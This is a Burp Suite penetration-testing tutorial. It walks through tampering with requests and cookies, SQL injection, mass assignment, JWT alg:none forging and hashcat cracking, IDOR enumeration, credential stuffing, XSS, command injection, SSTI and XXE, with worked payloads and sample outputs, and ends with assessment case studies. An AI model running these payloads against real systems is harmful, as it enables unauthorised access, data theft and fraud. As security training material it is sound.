Capture the POST request when a user logs in. The browser submits a form with whatever fields the developer included — but those fields are just suggestions. In Burp, you can add, remove, or change any of them before the server sees the request. This tests whether the application's authorisation logic lives on the server (correct) or trusts client-supplied values (vulnerable).

The analogy: It's like filling out a paper form at a bank, then walking to a photocopier, changing the "Account Type: Basic" field to "Account Type: VIP" before handing it to the teller. A well-designed process checks what account type your account number actually has in their database — it doesn't trust what you wrote on the form. A poorly designed one just processes whatever the form says.

# Original request captured in Burp Proxy:
POST /login HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

username=alice&password=wrongpass&role=user

# Modified in Burp before forwarding — change role parameter:
username=admin&password=wrongpass&role=administrator
# If server trusts the client-supplied role → admin access without valid password

# Variant: try modifying the response instead of the request
# Server returns: {"success":false,"role":"user"}
# Modify response to: {"success":true,"role":"admin"}
# Does the browser-side code now grant admin UI? (client-side auth bypass)

Note that modifying the response rather than the request tests a different vulnerability class: client-side authorisation enforcement. If the application's JavaScript decides what menu items to show based on the response, modifying the response can unlock admin UI — even if the actual server-side data remains restricted. This is a logic flaw, not a server exploit.

Repeater is Burp's workbench for manual testing. You send a captured request to Repeater, then modify and resend it as many times as you want without touching the browser. For SQL injection, this means iteratively probing a parameter until you understand the database's behaviour — what causes errors, what changes the result set, what confirms injection is possible.

The analogy: Imagine you're trying to understand how a vending machine responds to unusual inputs. Instead of putting money in each time, you have a direct wire to the selection mechanism. You can send "B4", "B4'", "B4 OR 1=1", "B4; DROP TABLE" and watch how the machine responds to each — without ever leaving your workbench, and without the machine knowing you're doing anything unusual.

# Initial request — send to Repeater (Ctrl+R)
GET /product?id=5 HTTP/1.1
Host: shop.example.com

# Test 1: Single quote — does it break SQL syntax?
GET /product?id=5'
500 Internal Server Error: You have an error in your SQL syntax...
# Error returned → parameter is passed unsanitised to a SQL query

# Test 2: Boolean injection — does logic affect the result?
GET /product?id=5 AND 1=1  → normal product returned
GET /product?id=5 AND 1=2  → empty / 404 → confirmed boolean injection

# Test 3: UNION-based extraction — what database are we working with?
GET /product?id=5 ORDER BY 3--   → works (3+ columns exist)
GET /product?id=5 ORDER BY 4--   → error (only 3 columns)
GET /product?id=0 UNION SELECT 1,version(),3--
MySQL 8.0.32-enterprise         ← database version extracted

Each step in Repeater is one click. The iterative nature — modify a single character, see the response, form a hypothesis, test it — is what makes Repeater so powerful for manual vulnerability discovery. Automated scanners can find obvious injections, but subtle logic requires this kind of methodical probing.

Web frameworks that automatically map request parameters to object properties (a feature called mass assignment or auto-binding) can be exploited by sending parameters the developer never intended to be user-supplied. The UI only shows the fields the developer put in the form — but the underlying model may have many more properties. Burp lets you probe for them directly.

The analogy: Imagine ordering a customised product online. The form lets you choose colour, size, and quantity. But the underlying order record in the company's database also has fields like "wholesale_price", "is_internal_order", and "discount_percent". If the developer wrote code that blindly maps every form field to the order object, you could add those fields to your form submission and potentially set your own price. That's mass assignment.

# Normal profile update — what the browser sends:
POST /update-profile HTTP/1.1
Content-Type: application/json

{"name":"Bob","email":"[email protected]"}

# Add undocumented fields — test each one:
{"name":"Bob","email":"[email protected]","is_admin":true}
HTTP/1.1 200 OK  {"name":"Bob","email":"[email protected]","is_admin":true}
# Response reflects the field → server accepted it → mass assignment confirmed

# More fields to probe for:
{"role":"admin"}
{"verified":true}
{"credit_balance":9999}
{"subscription_tier":"enterprise"}
{"account_status":"premium"}

# Finding field names: check JS source, API docs, error messages,
# or use Burp Intruder with a wordlist of common field names

Mass assignment vulnerabilities are endemic in applications built with frameworks like Ruby on Rails, Laravel, Spring, and Django when developers use shortcut methods that bind all parameters at once. OWASP lists it as a distinct category (API3:2023 Broken Object Property Level Authorization) because it is so consistently found in API penetration tests.

Applications frequently use encoding to transmit structured data in HTTP headers, cookies, and parameters. Encoding is not encryption — it is a reversible transformation with no secret key. Base64, URL encoding, and HTML entities are all trivially reversible. Burp's Decoder handles all common formats in a single tool, and you can chain transformations (e.g., URL-decode, then Base64-decode) to peel back multiple layers of encoding.

The analogy: Encoding is like writing in pig latin. Anyone who knows the rule can decode it — it's not a secret. If an application puts sensitive data in a Base64 cookie, it's the equivalent of writing your safe combination in pig latin on a sticky note. It looks scrambled to a casual glance, but anyone with five seconds of effort can read it.

# Cookie spotted in Burp HTTP history:
Cookie: session=eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9

# Decoder → Base64 decode → plaintext revealed:
{"user":"alice","role":"user"}
# Application is storing role in an unprotected client-side cookie

# Modify → re-encode → replace in request:
{"user":"alice","role":"admin"}
→ Base64: eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ==

# Resend with modified cookie → server grants admin privileges
# No signature, no HMAC, no verification — trivially forged

# JWT example — three-part Base64 structure:
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SIG
# Decode header: {"alg":"HS256"}
# Decode payload: {"user":"alice","role":"user"}
# Try: change alg to "none", remove signature → some servers accept it

Burp Intruder automates the process of sending many variations of a request, each with a different payload in a marked position. This covers use cases from brute-forcing login credentials, to testing every value in a list for IDOR (Insecure Direct Object Reference), to fuzzing every parameter for injection strings. You mark the position to fuzz, choose a payload list, and Intruder fires them all in sequence.

# IDOR test — enumerate other users' order data
# Mark the order ID as the injection position with §§
GET /api/orders/§1042§ HTTP/1.1
Authorization: Bearer alice_token

# Payload type: Numbers (1000 → 1200, step 1)
# Intruder sends 200 requests, each with a different order ID

# Filter results by response length or status code:
ID 1042: 200 OK  (our own order)
ID 1043: 403 Forbidden
ID 1044: 200 OK  ← Alice is seeing Bob's order   ← IDOR
ID 1098: 200 OK  ← Administrator order with PII   ← IDOR

# Credential stuffing example:
POST /login  username=§user§&password=§pass§
# Payload type: Pitchfork (paired username:password list from breach dump)
# Identifies valid credentials from credential stuffing attacks

IDOR (Insecure Direct Object Reference) is one of the most commonly found and highest-impact web vulnerabilities. It occurs when an application uses a predictable or guessable identifier (an order number, user ID, or document ID) to access a resource, without verifying the requester is authorised to access that specific resource. Intruder makes testing for it trivial.

Cross-Site Scripting (XSS) occurs when an application reflects user-supplied input back into a page without sanitisation, allowing an attacker to inject JavaScript that executes in other users' browsers. Burp helps find it by making every piece of reflected input visible: when you search for a value and see it appear in the response, that's a reflection point worth testing.

The analogy: Imagine a library's announcement board where anyone can post notes, and every note is read aloud over the PA system automatically. If someone posts a note that says "Play this sound file: [alarm.mp3]" and the PA system blindly executes it, that's XSS. The library (the web application) trusted that the note contained plain text, but it contained an instruction. Any visitor in the library (any user loading the page) hears the alarm.

# Step 1: Identify reflection points in Burp HTTP history
GET /search?q=hello HTTP/1.1
Response: <h1>Results for: hello</h1>
# "hello" is reflected — test it

# Step 2: In Repeater, try breaking out of HTML context
GET /search?q=<script>alert(1)</script>
Response: <h1>Results for: <script>alert(1)</script></h1>
# No escaping → reflected XSS confirmed

# More sophisticated payload if basic tags are filtered:
GET /search?q="><img src=x onerror=alert(document.cookie)>
# Breaks out of an attribute context, fires on image load error

# Impact: steal session cookies, redirect users, keylog, deface
# Stored XSS: payload saved to database, fires for ALL visitors

Access control vulnerabilities occur when the application fails to enforce what authenticated users are allowed to do. OWASP ranked this #1 in the 2021 Top 10 — it appears in 94% of tested applications. Broken access control covers IDOR, privilege escalation via parameter manipulation, forced browsing to admin pages, and missing function-level access control.

Burp's role: HTTP history reveals every endpoint the application exposes. Testing access control means logging in as a low-privilege user and attempting to access endpoints or modify parameters that should be restricted. Repeater makes this fast and systematic. The question to ask of every request is: "What would happen if I changed this ID? What if I changed my role? What if I removed the authorisation header entirely?"

# Horizontal privilege escalation — access another user's data
GET /users/1042/documents  ← authenticated as user 1042
GET /users/1043/documents  ← can we read user 1043's files?

# Vertical privilege escalation — access admin functions
GET /admin/users           ← returns 403 when using admin URL directly
GET /admin/users  (remove Auth header entirely)
# Some apps check auth at login but not on specific admin routes

# Parameter-based access control bypass
POST /api/delete-user  {"user_id":1042,"requester_role":"admin"}
# Does the server trust "requester_role" from the request body?

Injection vulnerabilities occur when attacker-supplied data is interpreted as code or commands by the application's backend. SQL injection is the classic example, but the same class includes OS command injection, Server-Side Template Injection (SSTI), and XML External Entity (XXE) injection. The unifying principle: the application fails to separate data from instructions.

The construction instruction analogy: Imagine you're giving a builder instructions via form. You write "Paint the wall blue." An injection vulnerability is like the builder reading your instruction and then also following any additional commands appended to it: "Paint the wall blue; also remove the load-bearing column." SQL injection is placing a semicolon and a new command into a database query. The database doesn't know the second instruction came from you rather than the developer.

# OS command injection test — look for system calls in parameters
POST /ping  {"host":"192.168.1.1"}
POST /ping  {"host":"192.168.1.1; id"}
PING 192.168.1.1 ... uid=33(www-data) gid=33(www-data)
# Server is calling shell with user input → RCE achieved

# SSTI test — template engines evaluate expressions
GET /greet?name=Alice  → "Hello, Alice"
GET /greet?name={{7*7}} → "Hello, 49"
# Template engine evaluated our expression → SSTI → potential RCE

# XXE — XML parser fetches external entity
POST /parse-xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
root:x:0:0:root:/root:/bin/bash  ← /etc/passwd contents returned

Business logic vulnerabilities are flaws in the application's intended workflow — they don't involve injecting code or bypassing technical controls. Instead, they exploit assumptions the developer made about how users would behave. These cannot be found by automated scanners because the scanner has no model of what "correct" business logic looks like. They require a human tester who understands what the application is trying to do and asks: "What if I don't follow the expected sequence?"

Examples: applying a coupon code multiple times (if the check happens before the state is updated, you can race condition it), purchasing a negative quantity (if the app subtracts instead of validates, you get a refund), completing step 3 of a multi-step process without completing steps 1 and 2, or transferring money to yourself to exploit floating-point rounding.

# Price manipulation — modify item price in the cart request
POST /cart/add
{"product_id":42,"quantity":1,"price":299.99}
{"product_id":42,"quantity":1,"price":0.01}
# Does the server trust the client-supplied price? Many do.

# Workflow bypass — skip the payment step in a multi-step checkout
Step 1: POST /checkout/cart      → 200 OK
Step 2: POST /checkout/shipping  → 200 OK
Step 3: POST /checkout/payment   ← skip this
Step 4: POST /checkout/confirm   → order placed?
# Does step 4 verify that step 3 completed? Often it doesn't.

# Negative quantity — abuse unsigned integer assumption
{"product_id":1,"quantity":-1}
# Cart total becomes negative → store owes you money?

Business logic flaws are particularly relevant in financial applications, e-commerce platforms, and anywhere with multi-step processes or numerical values. Burp's Repeater is the ideal tool for these tests — you're not fuzzing, you're surgically modifying one field at a time to understand how the server responds to unexpected sequences.

A penetration tester is assessing an e-commerce site. During normal browsing with Burp proxying all traffic, they notice that the cart checkout POST request includes the item price in the request body alongside the product ID and quantity. The developer's intent was for the JavaScript to pass the displayed price to the server to avoid a second database lookup.

In Repeater, the tester changes the price from 299.99 to 0.01 and resubmits. The order is accepted. The backend developer had trusted the client-supplied price rather than looking it up from the product database server-side. A single Burp Repeater test confirmed a complete price manipulation vulnerability — effectively allowing an attacker to purchase any item for one cent.

This exact vulnerability has appeared in real bug bounty reports across major e-commerce platforms. The root cause is always the same: a developer made a performance optimisation decision (avoid a second DB query) that inadvertently created a trust boundary violation.

A security assessor is testing a healthcare patient portal. Logging in as a test patient and navigating to "My Documents," Burp's HTTP history shows requests like GET /documents/download?doc_id=48291. The doc_id is a sequential integer.

Using Intruder with a number range payload (48000–49000), the assessor discovers that approximately 60% of document IDs in that range return valid responses for the authenticated test account — and those responses contain other patients' lab results, discharge summaries, and prescription records. The application checked that the user was authenticated, but never checked that the document belonged to the requesting user.

This is a HIPAA-violating data breach scenario. No exploitation tool was needed beyond Burp — the vulnerability was a missing server-side authorisation check on a single parameter. Findings like this are among the most common and most severe in healthcare application assessments.

A modern single-page application uses JWTs (JSON Web Tokens) for authentication. The JWT is a Base64-encoded structure containing the user's identity and role, signed with a server-side secret. In theory, a valid signature proves the token wasn't tampered with. In practice, some implementations have critical flaws.

Using Burp Decoder to examine the JWT from a normal session, the tester decodes the header: {"alg":"HS256"}. They modify the header to {"alg":"none"}, change the payload from "role":"user" to "role":"admin", remove the signature, and resend. Some JWT libraries, when instructed that the algorithm is "none," skip signature verification entirely — a catastrophic design flaw in early JWT library implementations that affected several major libraries.

Alternatively, the tester tries brute-forcing the HMAC secret with a wordlist (common weak secrets include "secret", "password", "jwt", and the application name). A cracked secret means the tester can sign arbitrary tokens with any claims, becoming any user in the system.

# Decode JWT in Burp Decoder (or jwt.io)
Header:  {"alg":"HS256","typ":"JWT"}
Payload: {"sub":"alice","role":"user","exp":1735689600}

# Test 1: alg:none bypass (affects some library versions)
Header:  {"alg":"none"}
Payload: {"sub":"alice","role":"admin","exp":9999999999}
Signature: (empty)

# Test 2: Brute force weak secret with hashcat
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt
eyJhbG...:mysecret    ← weak signing key cracked
# Now forge any token, sign with "mysecret", become any user

During a web application assessment, a tester browses the target application normally for 20 minutes with Burp proxying all traffic. Reviewing HTTP history afterward, they notice among the dozens of captured requests a few that don't appear to be triggered by anything visible in the UI: GET /api/internal/health-check, GET /_admin/status, and a JavaScript file that references /mgmt/users.

Sending each to Repeater, the tester finds that /mgmt/users returns a full JSON list of all registered users including email addresses, account types, and last login dates — for any authenticated user, with no admin check. The endpoint exists, it's functional, it just wasn't linked anywhere in the UI. The application relied on obscurity: if you don't know the URL exists, you can't access it. Burp's passive traffic capture found it without any active scanning.

This pattern — sensitive functionality accessible via undocumented URLs — is found in nearly every large application assessment. HTTP history is not just a log; it's a map of the application's entire surface, including the parts the developer hoped no one would find.